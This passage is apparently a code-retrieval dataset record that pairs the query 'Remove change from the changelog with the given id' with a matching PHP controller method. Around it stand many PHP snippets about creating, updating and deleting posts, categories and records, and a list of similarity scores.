forum()->endIfNotMyPost( $post_ID );\n $this->setCategoryByPostID( $post_ID );\n }\n else { // new\n $this->setCategory( $slug );\n }\n $post = post()\n ->set('post_category', [ forum()->getCategory()->term_id ])\n ->set('post_title', $title)\n ->set('post_content', $content)\n ->set('post_status', 'publish');\n\n if ( $post_ID ) { // update\n $post_ID = $post\n ->set('ID', $post_ID)\n ->update();\n }\n else { // new\n $post_ID = $post\n ->set('post_author', $user_ID)\n ->create();\n }\n if ( ! is_integer($post_ID) ) ferror( -50048, \"Failed on post_create() : $post_ID\");\n\n\n // file upload\n preg_match_all(\"/http.*\\/data\\/upload\\/[^\\/]*\\/[^\\/]\\/[^'\\\"]*/\", $content, $ms);\n $files = $ms[0];\n // save uploaded files\n post()->meta( $post_ID, 'files', $files );\n\n\n // Save All extra input into post meta.\n post()->saveAllMeta( $post_ID );\n\n $this->response( [ 'slug' => forum()->getCategory()->slug, 'post_ID' => $post_ID ] );\n }", "public function setPostByCategoryParams($category) {\n $this->category = $category;\n }", "function _update_blog_date_on_post_publish($new_status, $old_status, $post)\n {\n }", "public function addCategory(){\n if (isset($_POST[\"add_category\"])) {\n $categories = $this->model('Categories');\n $system = $this->model('System');\n $cat_name = $_POST[\"cat_name\"];\n $cat_sef_url = $system->seflink($cat_name);\n\n $categories->addCat($cat_name,$cat_sef_url);\n }\n // where to go after comment has been added\n header('location: ' . URL . 'yonetim/categories');\n }", "public function store(Requests\\StorePostRequest $request)\n {\n $fields = $request->except('category');\n $fields['user_id'] = Auth::user()->id;\n $fields['uri'] = Str::slug($request->get('title'));\n $fields['type'] = Post::TYPE_EVENT;\n $fields['status'] = Post::STATUS_MODERATE;\n\n if (!empty($fields['end_date'])) {\n $endDate = Carbon::createFromFormat('m/d/Y', $fields['end_date']);\n $startDate = Carbon::createFromFormat('m/d/Y', $fields['start_date']);\n if ($startDate->getTimestamp() > $endDate->getTimestamp()) {\n return redirect()->back()\n ->withInput($request->input())\n ->withErrors(['Конец события не может быть раньше его начала']);\n }\n }\n\n # processing image file\n $image = Input::file('image');\n $filename = date('Y-m-d-His') . '-' . $image->getClientOriginalName();\n Image::make($image->getRealPath())\n ->widen(800, function ($constraint) {\n $constraint->upsize();\n })\n ->save(public_path('img/posts/' . $filename));\n\n $fields['image'] = 'img/posts/' . $filename;\n $this->posts->fill($fields);\n $this->posts->setPriceAttribute($request->get('price'));\n auth()->user()->posts()->save($this->posts);\n\n # save category\n $this->posts->category()->sync(array_values($request->input('category')), false);\n\n return redirect(route('posts.index'))->with('message', 'Запись добавлена в базу данных');\n }", "public function store($post) { \n $now = date('Y-m-d h:i:s');\n \n $mileagechoice = ($post['mileagechoice_id']==0 ? R::dispense('mileagechoice') : R::load('mileagechoice', $post['mileagechoice_id']));\n $mileagechoice->mileage_choice = $post['mileage_choice'];\n \n if($post['mileagechoice_id']==0) {\n $mileagechoice->created = $now;\n $mileagechoice->created_by = $_SESSION['user_id'];\n } else {\n $mileagechoice->modified = $now;\n $mileagechoice->modified_by = $_SESSION['user_id'];\n }\n \n R::store($mileagechoice);\n }", "public function add_new_category_post(){\n $data = $this->security->xss_clean($_POST);\n $data = $this->DeviceCategory_model->add_new_category($data);\n if (isset($data['status']) == 'FALSE')\n {\n $this->response($data, REST_Controller::HTTP_SEE_OTHER);\n }\n $this->set_response($data, REST_Controller::HTTP_CREATED);\n }", "public function created(Category $category)\n {\n //\n }", "public function setPost($post)\n\t{\n\t\t$this->posts[] = $post;\n\t}", "public function changeset_post_id()\n {\n }", "public function update(Request $request, Postcategory $postcategory)\n {\n //\n }", "public function testCreateAndUpdateCategory()\n\t{\n $user = factory(User::class)->create();\n Passport::actingAs($user);\n\n $array_category = array(\"user_id\" => $user->id);\n $category = factory(Category::class)->create($array_category);\n\n // Update\n\t\t$array_category['name'] = 'Category Update';\n\n\t\t$response = $this->patch('api/categories/' . $category->id, $array_category);\n\t\t$response->assertStatus(200);\n\n\t\t$this->assertDatabaseHas('categories', $array_category);\n\t\t$this->assertDatabaseMissing('categories', [\"name\" => $category->name]);\n\t}", "function getName() { return 'TestPostAddCategory'; }", "public function add_postAction() {\r\n\t\t$info = $this->getPost(array('sort', 'title', 'ad_type', 'ad_ptype', \r\n\t\t\t\t'link', 'activity', 'clientver', 'img', 'start_time', 'end_time', 'status', 'hits',\r\n\t\t\t\t'channel_id', 'module_id', 'cid', 'channel_code', 'ptype_id', 'is_recommend', 'action'));\r\n\t\t$info = $this->_cookData($info);\r\n\t\t$result = Gou_Service_Ad::addAd($info);\r\n\t\tif (!$result) $this->output(-1, '操作失败');\r\n\t\t$this->output(0, '操作成功');\r\n\t}", "function addPostCategory(){\n\t\t$this->check_permission();\n\t \t\n\t\t\n\t \t$this->load->library('form_validation');\n\t\t$this->form_validation->set_rules('category_parent_id','Category','is_unique[tbl_category.category_title]|required');\n\t\t$this->form_validation->set_rules('category_title','Category Title','is_unique[tbl_category.category_title]|required');\n\t\t\n\t\tif($this->form_validation->run()) \n { \n $params = array(\n\t\t\t\t'display_in_menu' => $this->input->post('display_in_menu'),\n\t\t\t\t'category_parent_id' => $this->input->post('category_parent_id'),\n\t\t\t\t'category_title' => $this->input->post('category_title'),\n\t\t\t\t'status' => $this->input->post('status'),\n\t\t\t\t'createdby' => $this->session->userdata('id'),\n\t\t\t\t'createdon' => date_timestamp_get(date_create()),\n );\n \n $category_id = $this->Post_model->insert_data('tbl_post_category',$params);\n if($category_id){\n\t\t\t$this->session->set_flashdata('msg', '<div class=\"alert alert-success\">record Added!</div>');\n\t\t\tredirect('secure/post/addpostcategory');\n\t\t\t}\n }\n else\n {\t\t\t$data['all_categorylist'] = $this->Post_model->get_post_categorylist();\n \n \n\t\t\t$this->render_template('secure/post/addPostCategory',$data);\n }\n\t}", "public function update_gallery_category_post()\n {\n prevent_author();\n\n //validate inputs\n $this->form_validation->set_rules('name', trans(\"category_name\"), 'required|xss_clean|max_length[200]');\n\n if ($this->form_validation->run() === false) {\n $this->session->set_flashdata('errors', validation_errors());\n $this->session->set_flashdata('form_data', $this->gallery_category_model->input_values());\n redirect($this->agent->referrer());\n } else {\n //category id\n $id = $this->input->post('category_id', true);\n if ($this->gallery_category_model->update_category($id)) {\n $this->session->set_flashdata('success', trans(\"category\") . \" \" . trans(\"msg_suc_updated\"));\n redirect('admin_category/gallery_categories');\n } else {\n $this->session->set_flashdata('form_data', $this->gallery_category_model->input_values());\n $this->session->set_flashdata('error', trans(\"msg_error\"));\n redirect($this->agent->referrer());\n }\n }\n }", "public function update(Request $request, Post $post)\n {\n $data = [\n 'title'=>$request->title,\n 'content'=>$request->content,\n 'category_id'=>$request->category_id,\n // 'published_at'=>($request->published_at =='on')?1:0,\n ];\n\n if($request->file(\"cover\")) {\n Storage::delete(\"public/covers/blog/\" . $post->cover);\n Storage::delete(\"public/covers/blog/thumbnail/\" . $post->cover);\n $data += [\"cover\" => $this->uploadImage($request->file(\"cover\"))]; \n } else {\n $data += [\"cover\" => $post->cover]; \n }\n\n $post->update($data);\n $post->tags()->sync($request->input('tags', []));\n return redirect()->route('posts.index');\n // $post->update([\n // 'title'=>$request->title,\n // 'content'=>$request->content,\n // 'category_id'=>$request->category_id,\n // 'published'=>($request->published =='on')?1:0,\n // ]);\n \n // return redirect()->route('posts.index');\n \n }", "public function update_post_time($post, $factor) {\n global $DB;\n // Update the post to have a created in the past.\n $DB->set_field('moodleforum_posts', 'created', $post->created + $factor, array('id' => $post->id));\n }", "public function query_add_edit_cat()\n\t{\n\t\t$cat_name = trim(Http::request('cat_name', 'post'));\n\t\tif ($this->mode == 'add_cat')\n\t\t{\n\t\t\t$sql = 'SELECT MAX(cat_order) AS max_order\n\t\t\t\t\tFROM ' . SQL_PREFIX . 'smilies_cat';\n\t\t\t$max_order = Fsb::$db->get($sql, 'max_order');\n\n\t\t\tFsb::$db->insert('smilies_cat', array(\n\t\t\t\t'cat_name' =>\t$cat_name,\n\t\t\t\t'cat_order' =>\t$max_order + 1,\n\t\t\t));\n\t\t\tFsb::$db->destroy_cache('smilies_');\n\n\t\t\tDisplay::message('adm_smiley_well_cat_add', 'index.' . PHPEXT . '?p=posts_smiley', 'posts_smiley');\n\t\t}\n\t\telse\n\t\t{\n\t\t\tFsb::$db->update('smilies_cat', array(\n\t\t\t\t'cat_name' =>\t$cat_name,\n\t\t\t), 'WHERE cat_id = ' . $this->id);\n\t\t\tFsb::$db->destroy_cache('smilies_');\n\n\t\t\tDisplay::message('adm_smiley_well_cat_edit', 'index.' . PHPEXT . '?p=posts_smiley', 'posts_smiley');\n\t\t}\n\t}", "function lm_save_category() {\n\t@copy(LM_CDATA, LM_CBACKUP);\n\t$id = isset($_POST['category-id']) ? intval($_POST['category-id']) : null;\n\t$cid = isset($_POST['category-cid']) ? intval($_POST['category-cid']) : time();\n\t$arr = array('cid'=>$cid, 'name'=>safe_slash_html($_POST['category-name']));\n\tif (function_exists('return_i18n_languages')) {\n\t\tforeach(return_i18n_languages() as $lang) {\n\t\t\tif ($lang != return_i18n_default_language()) {\n\t\t\t\t$arr['name_'.$lang] = safe_slash_html($_POST['category-name_'.$lang]);\n\t\t\t}\n\t\t}\n\t}\n\t$categories = lm_get_categories();\n\tif (isset($id))\n\t\t$categories[$id] = $arr;\n\telse\n\t\t$categories[] = $arr;\n\tif (lm_c_to_xml($categories))\n\t\tlm_display_message(i18n_r(LM_PLUGIN.'/SUCCESS_SAVE'), true, false, true);\n\telse\n\t\tlm_display_message(i18n_r(LM_PLUGIN.'/ERROR_SAVE'), false);\n}", "function wp_ajax_press_this_add_category()\n {\n }", "public function add()\n {\n $category = new stdClass();\n $category->category_id = null;\n $category->name = null;\n $data = [\n 'page' => 'add',\n 'row' => $category\n ];\n $this->template->load('template', 'product/category/category_add', $data);\n }", "public function addPostToBlogInTheMiddle() {}" ]
[ "0.5719249", "0.5481608", "0.5444968", "0.5363113", "0.53199744", "0.53147644", "0.5256521", "0.5220475", "0.5220475", "0.5132028", "0.5098056", "0.5079284", "0.5069951", "0.5039262", "0.5025098", "0.5011922", "0.4999039", "0.49829718", "0.49227348", "0.49207792", "0.49076584", "0.49057746", "0.48949036", "0.48866478", "0.48779625", "0.48687714", "0.48380288", "0.48361093", "0.48344976", "0.48300603", "0.48244122", "0.4807855", "0.48031563", "0.47939095", "0.47887146", "0.4778", "0.4776745", "0.47752285", "0.4750347", "0.4734386", "0.47228685", "0.47198698", "0.4717405", "0.4703574", "0.46993995", "0.4689661", "0.46885186", "0.46872932", "0.46776018", "0.4675939", "0.46756718", "0.46695969", "0.4669414", "0.46652806", "0.46643054", "0.46635535", "0.46613154", "0.46595564", "0.4658262", "0.46537074", "0.46497175", "0.46438867", "0.46415156", "0.46355706", "0.46262687", "0.46229842", "0.46223348", "0.46220955", "0.4616232", "0.46138883", "0.4606271", "0.46050707", "0.46018657", "0.45995542", "0.45941675", "0.45936957", "0.45874444", "0.45838156", "0.4583106", "0.45789552", "0.45759845", "0.45759287", "0.45706376", "0.45677426", "0.4564798", "0.45588437", "0.4554389", "0.45478043", "0.45470947", "0.45468435", "0.4545637", "0.45455012", "0.45454976", "0.45440322", "0.4542656", "0.45354956", "0.45232522", "0.45207942", "0.45173407", "0.45172548" ]
0.6269693
0
Remove change from the changelog with the given id
public function remove($id = false) { // Check for the permission requirePermission("canRemoveChange"); if(!($id && is_numeric($id))) redirect('changelog'); $this->changelog_model->deleteChange($id); $this->logger->createLog('Deleted change', $id); $this->plugins->onDeleteChange($id); $this->index(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function remove($id)\n {\n //please rely on SQL CASCADING ON DELETE\n return $this->resource\n ->model()\n ->setHistoryId($id)\n ->remove('history');\n }", "public function remove($id);", "public function remove($id);", "public function remove_log($log_id)\n {\n $log_remove_query = \"DELETE FROM `$this->table` WHERE log_id = ?\" ;\n $stmt = $this->conn->prepare($log_remove_query);\n $stmt->execute(array($log_id));\n }", "public function remove($id)\n\t{\n\t}", "public static function delete($changeID) \n {\n $query = \"DELETE FROM changelog_bug_relation WHERE changeID = '$changeID'\";\n $res = mysql_query($query)or die(Helper::SQLErrorFormat(mysql_error(), $query, __METHOD__, __FILE__, __LINE__));\n \n $query = \"DELETE FROM changelog WHERE id = '$changeID'\";\n $res = mysql_query($query)or die(Helper::SQLErrorFormat(mysql_error(), $query, __METHOD__, __FILE__, __LINE__)); \n }", "public static function remove($id)\n {\n $db = Zend_Registry::get('dbAdapter');\n $db->delete('main', 'main. = ' . $id);\n }", "public function remove($id) {\r\n $this->db->where('id', $id);\r\n\t\t$this->db->where('school_id', $this->school_id);\r\n $this->db->delete('book_issues');\r\n }", "public function remove($id)\n {\n $this->offsetUnset($id);\n }", "public function deleteChange($changeId) {\n return $this->query(\"DELETE FROM Changes WHERE id=$changeId\");\n }", "public function remove($id)\n {\n $this->items->reject(function($value, $key) use ($id){\n return $value[$this->id] != $id;\n });\n }", "public function destroy($id)\n {\n $log = new audit();\n $log->AuditTabla=\"requerimientos\";\n $log->AuditType=\"Eliminado\";\n $log->AuditRegistro=$Requerimiento->ID_Req;\n $log->AuditUser=Auth::user()->email;\n $log->Auditlog=$request->all();\n $log->save();\n }", "abstract public function remove($id);", "public function remove($id) \n {\n $log = FezLog::get();\n \n if (array_key_exists($id, $this->_ids)) {\n $this->_ids[$id] = self::ACTION_REMOVE;\n $log->debug(\"Removed $id from queue\");\n }\n }", "public function del($id)\n {\n $this->db->remove(array('id'=>$id));\n }", "private function _remove($id)\n\t{\n\t\t$amuco_credit_insurance = (array)$this->model_amuco_credit_insurance->find($id);\n\t\t$this->insert_logs($amuco_credit_insurance,'deleted');\n\t\n\t\t\n\t\t\n\t\treturn $this->model_amuco_credit_insurance->remove($id);\n\t}", "function delete_audit_trail($log_id)\n {\n $parameter_array = array();\n \n array_push($parameter_array, array(\n 'and',\n 'id',\n '=',\n $log_id\n ));\n \n parent::delete('i', $parameter_array);\n }", "function remove($id)\n {\n unset($this->collection[$id]);\n }", "public function remove($id){\n\t\t\t$sql = \"DELETE FROM aluno WHERE id = :id\";\n\n\t\t\t$query = $this->conexao->prepare($sql);\n\n\t\t\t$query->execute(['id'=>$id]);\n\t\t}", "function remove($id) {\n $query = $this->db->prepare('DELETE FROM comments WHERE id = ?');\n $query->execute([$id]);\n }", "public static function remove ($id) {\n\n $db = Zend_Registry::get('dbAdapter');\n $db->delete('orte', 'orte.plz = ' . $id);\n\n }", "public static function del(string $id): void\n\t{\n\t\t\\unset(static::$config[$id]);\n\t}", "function remove_tag($id) {\n global $CFG;\n if (!is_numeric($id)) {\n return false;\n }\n\n $tag = get_record('helpdesk_ticket_tag', 'id', $id);\n\n $result = delete_records('helpdesk_ticket_tag', 'id', $id);\n if (!$result) {\n return false;\n }\n // Lets make an update!\n\n $dat = new stdClass;\n $dat->ticketid = $this->id;\n $dat->notes = get_string('tagremovewithnameof', 'block_helpdesk') . $tag->name;\n $dat->status = HELPDESK_NATIVE_UPDATE_UNTAG;\n $dat->type = HELPDESK_UPDATE_TYPE_DETAILED;\n\n if(!$this->add_update($dat)) {\n notify(get_string('cantaddupdate', 'block_helpdesk'));\n }\n\n $this->store();\n return true;\n }", "public function remove($id)\n {\n //please rely on SQL CASCADING ON DELETE\n return $this->resource\n ->model()\n ->setActionId($id)\n ->remove('action');\n }", "protected function eliminar($id)\n {\n }", "public function eliminarPorId($id)\n {\n }", "public function del($id)\n\t{\n\t\t$id = (int)$id;\n\t\t$this->delete(array('id' => $id));\n\t}", "public function remove_menu($id)\n {\n }", "static function remove($id = null) {\n $db = self::getDbConnection();\n $table = static::getTable();\n\n if (is_null($id)) {\n throw new \\Exception('Cant remove item, incorrect ID');\n \n } else {\n $id = (int) $id;\n $query = $db->prepare(\"DELETE FROM $table WHERE id = \" . $id . \";\");\n if (!$query->execute()) {\n throw new \\Exception('Cant remove item');\n }\n }\n }", "public function delTag($id, $tag)\n {\n $this->db->update(array('id'=>$id), array('$pull'=>array('tags'=>$tag)));\n }", "public function removeAction(int $id)\n {\n // TODO: Implement removeAction() method.\n }", "public function destroy($id)\r\n {\r\n if(!$this->checkAccess(self::MODULE_NAME, 'D'))\r\n abort(401, 'Unauthorized action.');\r\n\r\n $id = base64_decode($id);\r\n $deleted_date = date('Y-m-d H:i:s');\r\n $deleted_by = Auth::user()->id;\r\n \r\n DB::update(\"update mst_news set \r\n deleted_at='\".$deleted_date.\"',\r\n deleted_by = \".$deleted_by.\",\r\n is_deleted = 1\r\n where id = \".$id.\"\");\r\n\r\n \\UserLogActivity::addLog('Delete '.self::MODULE_NAME.' ID #'.$id.' Successfully');\r\n }", "public function remove(/* array */ $id) {\n $torrentId = $id[0];\n $logId = $id[1];\n if (is_null($logId)) {\n $htmlfiles = glob($this->path([$torrentId, '*']));\n foreach ($htmlfiles as $path) {\n if (preg_match('/(\\d+)\\.log/', $path, $match)) {\n $logId = $match[1];\n $this->remove([$torrentId, $logId]);\n }\n }\n } else {\n $path = $this->path($id);\n if (file_exists($path)) {\n @unlink($path);\n }\n }\n return true;\n }", "public function destory($id)\n {\n }", "public function remove($id) {\r\n $this->db->where('id', $id);\r\n\t\t$this->db->where('school_id', $this->school_id);\r\n $this->db->delete('fees_discounts');\r\n }", "public function achatSupprimerUn($id)\n\t{\n\t\tGestion::supprimer(\"Achat\",\"idEquipement\",$id);// votre code ici\n\t}", "public function remove(int $id): void\n {\n $this->db->query(\"DELETE FROM pois WHERE id=\" . $id);\n // $this->db->query(\"DELETE FROM assoc_pois_missions WHERE poi=$id\");\n }", "public function removeBateau($id)\r\n {\r\n $this->_bdd->query(\"DELETE FROM `bateau` WHERE `id` ='$id'\");\r\n }", "private function _remove($id)\n\t{\n\t\t$amuco_suppliers_bank = (array)$this->model_amuco_suppliers_bank->find($id);\n\t\t$this->insert_logs($amuco_suppliers_bank,'deleted');\n\t\n\t\t\n\t\t\n\t\treturn $this->model_amuco_suppliers_bank->remove($id);\n\t}", "public function remove($id)\n {\n $this->getById($id);\n\n $this->dc->qb()\n ->delete($this->dc->p('plugin_ff_articles'))\n ->where('id = :id')\n ->setParameter(':id', $id)\n ->execute();\n\n static::clear_cache();\n }", "private function deleteById($id)\n {\n $builder = $this->repository->createQueryBuilder();\n $builder\n ->remove()\n ->field('id')->equals($id)\n ->getQuery()\n ->execute();\n }", "public function destroy($id)\n {\n $line = Line::where('status', '=', 1)->findOrFail($id); \n $user = Auth::User();\n $lineUpdate[\"user_modified\"] = $user->id;\n $lineUpdate[\"status\"] = 0;\n \n $line->fill($lineUpdate)->save();\n\n return redirect()->route('lines.index')\n ->with('flash_message',\n 'Linea eliminada!');\n }", "public function destroy($id)\n {\n \n $ocs = OCS::findOrFail($id);\n $ocs->delete();\n \n $log = new Log();\n\n $log->table_name = 'ocs';\n $log->table_item_id = $id;\n $log->activity = 'delete';\n $log->user_id = Auth::user()->id;\n $log->save();\n\n // Log::info($id.\" OCS deleted by \".Session::get('email').\" on \".date('l jS \\of F Y h:i:s A'));\n return Redirect()->route('the_ocs.index');\n }", "public function remove($key, $id)\n\t{\n\t\treturn db::delete($this->_table_name.'_'.AutoModeler::factory(inflector::singular($key))->get_table_name())->where($key.'_id', '=', $id)->where(inflector::singular($this->_table_name).'_id', '=', $this->_data['id'])->execute($this->_db);\n\t}", "public function remove($id)\n {\n $this->loadItems();\n if (array_key_exists($id, $this->items)) {\n unset($this->items[$id]);\n }\n $this->saveItems();\n }", "public function remove_field( $id ) {\n\n\t\t$fields = $this->options;\n\n\t\tif ( isset( $fields[ $id ] ) ) {\n\t\t\tunset( $fields[ $id ] );\n\t\t}\n\n\t\t$this->options = $fields;\n\n\t}", "public function removeIdAction($id = null) {\n if (!isset($id)) {\n die(\"Missing id\");\n }\n\n /**\n * Check if the user is authorized to remove a comment.\n */\n $comment = $this->comments->find($id);\n if ($comment->userId != $_SESSION['authenticated']['user']->id) {\n die(\"You can only edit your own posts.\");\n }\n\n /**\n * Remove from database.\n */\n $this->comments->delete($id);\n $this->assignTags->delete($id);\n $this->commentanswer->delete($id);\n\n /**\n * Prepare the view\n */\n $url = $this->url->create('comment/view-questions');\n $this->response->redirect($url);\n }", "public static function removeLinkedBugs($changeID)\n {\n $query = \"DELETE FROM changelog_bug_relation WHERE changeID = '$changeID'\";\n $res = mysql_query($query)or die(Helper::SQLErrorFormat(mysql_error(), $query, __METHOD__, __FILE__, __LINE__)); \n }", "public function destroy($id)\n {\n $add = Add::find($id);\n $add->delete();\n }", "public function remove($id) {\n $q = $this->db->where('dsq_id',$id)->get('t_disques_archivage');\n\n $res = $this->_delete('t_disques_archivage',$id,'dsq_id','dsq_inactif');\n return $res;\n }", "public function remove($id)\n {\n unset(static::$basket[$this->id][$id]);\n }", "public static function eliminar_por_id($id) {\n\t\t\n\t\tPagos::where(\"codigopago\", $id)->delete();\n\t}", "public static function remove($id)\n {\n $db = Zend_Registry::get('dbAdapter');\n $db->delete('restaurant_commission', 'id = ' . $id);\n }", "public function destroy($id)\n {\n try {\n $data['id'] = $id;\n $this->materialIssueRepository->deleteSelected('id', array_values(explode(\",\", substr($id, 1, -1))));\n return $this->respondWithMessage('Record Deleted Successfully!!!', $data);\n } catch (\\Exception $e) {\n return $this->respondWithError($e->getMessage());\n }\n }", "public function del($id)\n {\n }", "public function removeVersionId($id) {\n unset($this->versionId[$id]);\n return $this;\n }", "private function _remove($id)\n\t{\n\t\t$amuco_details_request_office = (array)$this->model_amuco_details_request_office->find($id);\n\t\t$this->insert_logs($amuco_details_request_office,'deleted');\n\t\n\t\t\n\t\t\n\t\treturn $this->model_amuco_details_request_office->remove($id);\n\t}", "public function remove_control($id)\n {\n }", "public function eliminar($id)\n {\n //\n }", "public function eliminar($id)\n {\n //\n }", "public function delete($id)\n {\n error_log(\"aqui delete\");\n // TODO: Implement delete() method.\n }", "public static function eliminarPorID($id)\n\t{\n\t\t// Crear una instancia de la conexion\n\t\t$conexion = new Conexion;\n\n\n\t\t// Elimina al rol de la bd encontrado por id\n\t\t$conexion->conn->query(\"DELETE FROM \". static::$tablaConsulta . \" WHERE id = $id LIMIT 1\");\n\t}", "private static function delete_by_id( $id ) {\n\t\tglobal $wpdb;\n\n\t\t$wpdb->delete( $wpdb->base_prefix . 'itsec_mutexes', [\n\t\t\t'mutex_id' => $id,\n\t\t] );\n\t}", "public function remove($id) {\n $this->db->where('id_user', $id);\n $this->db->delete('user');\n }", "public function remove_setting($id)\n {\n }", "public static function supprimer($id)\n {\n App::getDatabase()->prepareInsert(\n \"DELETE FROM \" . self::getTable() . \" WHERE id=?\", array($id)\n );\n }", "public function delete($id){\n\t\t$sql = 'DELETE FROM recibo WHERE id = ?';\n\t\t$sqlQuery = new SqlQuery($sql);\n\t\t$sqlQuery->setNumber($id);\n\t\treturn $this->executeUpdate($sqlQuery);\n\t}", "public function gdpr_delete_log($id)\n {\n return $this->model->deletelog($id);\n }", "public function unlink($id)\n {\n //\n Relation::destroy( $id );\t\n }", "public function remove($id){\n if(!isset($_SESSION['user']) || $_SESSION['user']->getIdRol() != 1){\n header(\"HTTP/1.1 403\"); \n return;\n }\n \n $this->showDaos->remove($id);\n $this->index();\n }", "public function delete($id)\n\t {\n\t //\n\t }", "function remove($pr_id) {\n\t\t$db=htvcenter_get_db_connection();\n\t\t$rs = $db->Execute(\"delete from \".$this->_db_table.\" where pr_id=$pr_id\");\n\t}", "public function delete($id){\n\t\t$sql = 'DELETE FROM tbl_journal_lines WHERE id = ?';\n\t\t$sqlQuery = new SqlQuery($sql);\n\t\t$sqlQuery->setNumber($id);\n\t\treturn $this->executeUpdate($sqlQuery);\n\t}", "public function __unset($id)\n {\n $this->offsetUnset($id);\n }", "public function remove($project_id, $id)\n {\n return $this->delete('/projects/'.rawurlencode($project_id).'/srories/'.rawurlencode($id));\n }", "public function destroy($id)\n {\n $issue = Transaction::where('user_name', $id)->first();\n if($issue === null)\n {\n return \"Request does not exist. \";\n }\n else\n $issue->delete();\n// echo $issue->exercise_name;\n }", "private function removeMember($id)\n {\n include __DIR__ . \"/session-evaluation.php\";\n\n // Get and remove member\n $member = $this->getMember($id); \n $this->entityManager->remove($member);\n $this->entityManager->flush();\n\n // Get the members session and its current poll\n $session = $member->getSession();\n $poll = $session->getCurrentPoll();\n if($poll !== null && SessionEvaluation::evaluatePoll($session, $poll))\n {\n $cardSet = $this->getCardSet($session);\n SessionEvaluation::highlightVotes($session, $poll, $cardSet);\n }\n\n // Update session to trigger polling\n $session->setLastAction(new DateTime());\n $this->save($session);\n\n $this->entityManager->flush();\n }", "private function _remove($id)\n\t{\n\t\t$amuco_customer_request = (array)$this->model_amuco_customer_request->find($id);\n\t\t$this->insert_logs($amuco_customer_request,'deleted');\n\t\n\t\t\n\t\t\n\t\treturn $this->model_amuco_customer_request->remove($id);\n\t}", "public function delete($id)\n\t{\n\t\t// TODO: Implement delete() method.\n\t}", "public function destroy($id)\n {\n if ($id != 1) {\n Problem::where('category_id', $id)->update(['category_id' => 1]);\n $oldCategory = Category::find($id);\n Log::info('User: {} delete category: {}', Auth::user()->username, $oldCategory);\n Category::destroy($id);\n } else {\n Log::warning('User: {} try to delete category Id: 1', Auth::user()->username);\n abort('403');\n }\n }", "public function deleteChannel($id) \n {\n $this->find($id)->delete();\n }", "protected function delete($id)\n {\n $this->redis->zrem(\"$this->channel.reserved\", $id);\n $this->redis->hdel(\"$this->channel.attempts\", $id);\n $this->redis->hdel(\"$this->channel.messages\", $id);\n }", "public function delete($id){\r\n\t\t$sql = 'DELETE FROM notifications WHERE id = ?';\r\n\t\t$sqlQuery = new SqlQuery($sql);\r\n\t\t$sqlQuery->setNumber($id);\r\n\t\treturn $this->executeUpdate($sqlQuery);\r\n\t}", "public function eliminar($id)\n {\n }", "public function eliminar($id)\n {\n }", "public function eliminar($id)\n {\n }", "public function drop($id)\n {\n return $this->del($id);\n }", "public function destroy($id)\n {\n //\n $destroyedLog = Log::findOrFail($id);\n $destroyedLog->delete();\n event(new ExecutedAction(Auth::user(), debug_backtrace(1, 1)[0]['function'], $destroyedLog));\n\n return Redirect::route('log.index');\n }", "public function destroy($id)\n {\n $this->getById($id)->delete();\n }", "public function removeMessage($id = 1)\n {\n $this->_raw = '';\n }", "public function removeMenuItem($id)\n {\n $this->runWpCliCommand(\"menu\", \"item delete\", [$id]);\n }", "public function destroy($id)\n {\n //\n dump($id);\n }", "public function destroy($id)\n {\n //\n // Kiểm tra có đang là khóa ngoại của tbl khác ko?\n // code\n\n if(is_numeric($id))\n {\n if(self::isExistId($id))\n try {\n\n $objold = Lop::find($id)->toArray();\n Lop::destroy($id);\n\n // Write log\n try {\n LogController::storeobjectlog($objold, '', LogLoaiHoatDong::DeleteRecord, '');\n } catch (Exception $e) {\n \n }\n // End Write log\n\n $result = array('status' => true, 'message' => \"Xóa thành công.\");\n return $result;\n } catch (Exception $e) {\n $result = array('status' => false, 'message' => $e);\n return $result;\n }\n else\n {\n $result = array('status' => false, 'message' => \"Không tìm thấy dữ liệu để xóa.\");\n return $result;\n }\n }\n else\n {\n $result = array('status' => false, 'message' => \"Dữ liệu xóa không hợp lệ.\");\n return $result;\n }\n }", "public function destroy($id) {\n $life = config('ladmin.log_activity_life', 7);\n $data = LadminLogable::where('created_at', '<', now()->addDays('-' . $life)->format('Y-m-d h:i:s'));\n $count = $data->count();\n $data->delete();\n \n if($count > 0) {\n session()->flash('success', [\n $count . ' has been deleted'\n ]);\n } else {\n session()->flash('success', [\n 'No data available'\n ]);\n }\n\n\n return redirect()->back();\n }", "public function supprimerAction($id)\n\t{\n\t\t# ici on recupere l'EntityManager\n\t\t$em = $this->getDoctrine()->getManager();\n\n\t\t//on recupere l'entite correspondant a l'id $id \n\t\t$article = $em->getRepository('SdzBlogBundle:Article')->find($id);\n\n\t\tif ($article === null) \n\t\t{\n\t\t\tthrow new $this->createNotFoundException('Article[id='.$id.'] inexistant.');\n\t\t\t\n\t\t}\n\n\t\t//on recupere toutes les categories:\n\t\t$liste_categories = $em->getRepository('SdzBlogBundle:Categorie')->findAll();\n\n\t\t//on enleve tous les categories de l'article\n\t\tforeach ($liste_categories as $categorie) \n\t\t{\n\t\t\t# on fait appel a removeCategorie()\n\t\t\t// et $categorie est une instance de Categorie et non un id seulement\n\t\t\t$article->removeCategory($categorie);\n\t\t}\n\n\t\t//on na pas modifiee les categories: inutile de les persister\n\n\t\t//on a modifiee la relation Article-Caregorie \n\t\t//il faudrait persister l'eentitee proprietaire pour persister la relation\n\t\t//or l'article a ete recuperee depuis Doctrine\n\n\t\t//on declenche la modification\n\t\t$em->flush();\n\n\t\t//on soccupe de la gestion et creation du formulaire\n\t\treturn new Response('OK');\n\t}", "public function destroy($id)\n {\n $jvl = SOA_OVL::findOrFail($id);\n $jvl->delete();\n }", "public function destroy($id)\n\t\t{\n\t\t\t//\n\t\t}", "private function unregisterWebhookById(int $id)\n {\n try {\n $this->getHttpClient()->delete(\"webhooks/{$id}.json\");\n } catch (RequestException $exception) {\n }\n }", "public function deleteNotification($id);", "public function delete($id)\n {\n // TODO: Implement delete() method.\n }" ]
